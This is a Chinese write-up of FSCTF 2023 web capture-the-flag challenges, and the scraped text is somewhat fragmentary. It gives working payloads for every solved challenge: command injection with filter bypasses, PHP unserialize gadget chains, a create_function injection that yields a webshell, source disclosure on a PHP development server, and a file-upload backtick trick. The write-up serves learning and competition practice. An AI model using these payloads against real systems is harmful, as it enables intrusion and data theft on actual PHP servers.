目录
源码!启动!
webshell是啥捏
细狗2.0
Hello,you
EZ_eval
ez_php1
巴巴托斯!
ez_php2
寻找蛛丝马迹
CanCanNeed
签到plus
是兄弟,就来传你の!
这里打开开发人员工具,查看源代码
前面表情包解释为passthru
passthru — 执行外部程序并且显示原始输出
说明
passthru(string $command
, int &$result_code
= null
): ?false
同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command
)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif
, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
这里就可以直接ls查看了
127.0.0.1;ls${IFS}$9/
127.0.0.1;ca\t${IFS}$9/f*
127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
源代码:
". $word);
}else{
highlight_file(__FILE__);
}
这里过滤了 cat、tac、tail、more、head、nl、flag、less 和空格,并且删除?
在 eval 中加入了 php 闭合符就说明前面的 eval 被闭合已经不能用了
这道题既然过滤了问号那么就不能使用、= ?>和 ?>
那么就还剩一个
其中关于读取命令可以使用 ta\c 或者 ta""c 来绕过过滤 空格用%09 flag 用通配符
最终 payload 如下
?word=
访问L0vey0U.php
源代码:
a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
@unserialize($_POST['data']);
?>
这里直接使用引用输出a即可
payload:
a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
$a=new Clazz();
$a->b=&$a->a;
echo serialize($a);
?>
data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}
这里提示了FSCTF Brower
修改User-Agent
直接伪协议
源代码:
ending);
}
public function __call($name, $arg)
{
foreach ($arg as $key =>$value)
{
if($arg[0]['POC']=="1111")
{
echo "1";
$this->cl->var1 = "system";
}
}
}
}
class Poc{
public $payload;
public $fun;
public function __set($name, $value)
{
$this->payload = $name;
$this->fun = $value;
}
function getflag($paylaod)
{
echo "Have you genuinely accomplished what you set out to do?";
file_get_contents($paylaod);
}
}
class Er{
public $symbol;
public $Flag;
public function __construct()
{
$this->symbol = True;
}
public function __set($name, $value)
{
$value($this->Flag);
}
}
class Ha{
public $start;
public $start1;
public $start2;
public function __construct()
{
echo $this->start1."__construct"."";
}
public function __destruct()
{
if($this->start2==="11111") {
$this->start1->Love($this->start);
echo "You are Good!";
}
}
}
if(isset($_GET['Ha_rde_r']))
{
unserialize($_GET['Ha_rde_r']);
} else{
die("You are Silly goose!");
}
?>
payload:
start1=new Rd();
$a->start=['POC'=>'1111'];
$a->start1->cl=new Er();
echo serialize($a);
?>
?Ha_rde_r=O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:4:"ls /";}s:3:"poc";N;}s:6:"start2";s:5:"11111";}
把Flag的值改为cat /flag
?Ha_rde_r=O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:9:"cat /flag";}s:3:"poc";N;}s:6:"start2";s:5:"11111";}
这里用火狐修复文字编码即可
payload:
FSCTF{Tell_y0U_noT_To_poInT_oUt_tH@t_y000u_Don't_believe_it!}
源代码:
param1;
$b=$this->param2;
if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
die('this param is error!');
} else {
$a('', $b);
}
}
}
if (!isset($_GET['file'])){
show_source('index.php');
echo "Hi!Welcome to FSCTF2023!";
}
else{
$file=base64_decode($_GET['file']);
unserialize($file); }
?>
分析源码,对传入的 file 参数 base64 解码后反序列化,__destruct 函数中出现了 $a(‘’, $b); ,且 $a 和 $b 可通过 $param1 和 $param2 进行控制。
再观察正则表达式,发现没有过滤 system 和中括号,所以可以使用 system 执行 shell 命令,获取 flag。
所以将 $param1 设置为 create_function ,$param2 设置为 system($_GET[1])
payload:
param1;
$b = $this->param2;
if (preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
die('this param is error!');
} else {
$a('', $b);
}
}
}
$n = new Noteasy();
echo(base64_encode(serialize($n)));
?file=Tzo3OiJOb3RlYXN5IjoyOntzOjk6IgAqAHBhcmFtMSI7czoxNToiY3JlYXRlX2Z1bmN0aW9uIjtzOjk6IgAqAHBhcmFtMiI7czoyMjoifTtzeXN0ZW0oJF9QT1NUWzFdKTsvLyI7fQ==
POST传参
1=ls /
1=cat /f*
打比赛时有提示扫一下
那我们就扫一下下
中国人不骗中国人
访问一下
这个flag是假的,我收回上面说的话
看了一下提示,发现是
php7.4.21
的文件泄露
PHP<=7.4.21 Development Server源码泄露漏洞_这周末在做梦的博客-CSDN博客
抓包一下修改看看
copy to file
HTTP/0.9 200 OK
Host: node4.anna.nssctf.cn:28201
Date: Sun, 29 Oct 2023 08:53:09 GMT
Connection: close
Content-Length: 443
payload:
?=ls /
?=cat /f*
先传几个试试,发现pht没有被过滤
但又限制了长度
利用BM
头和php中的反引号直接读取flag。
BM=`cat /*`;
成功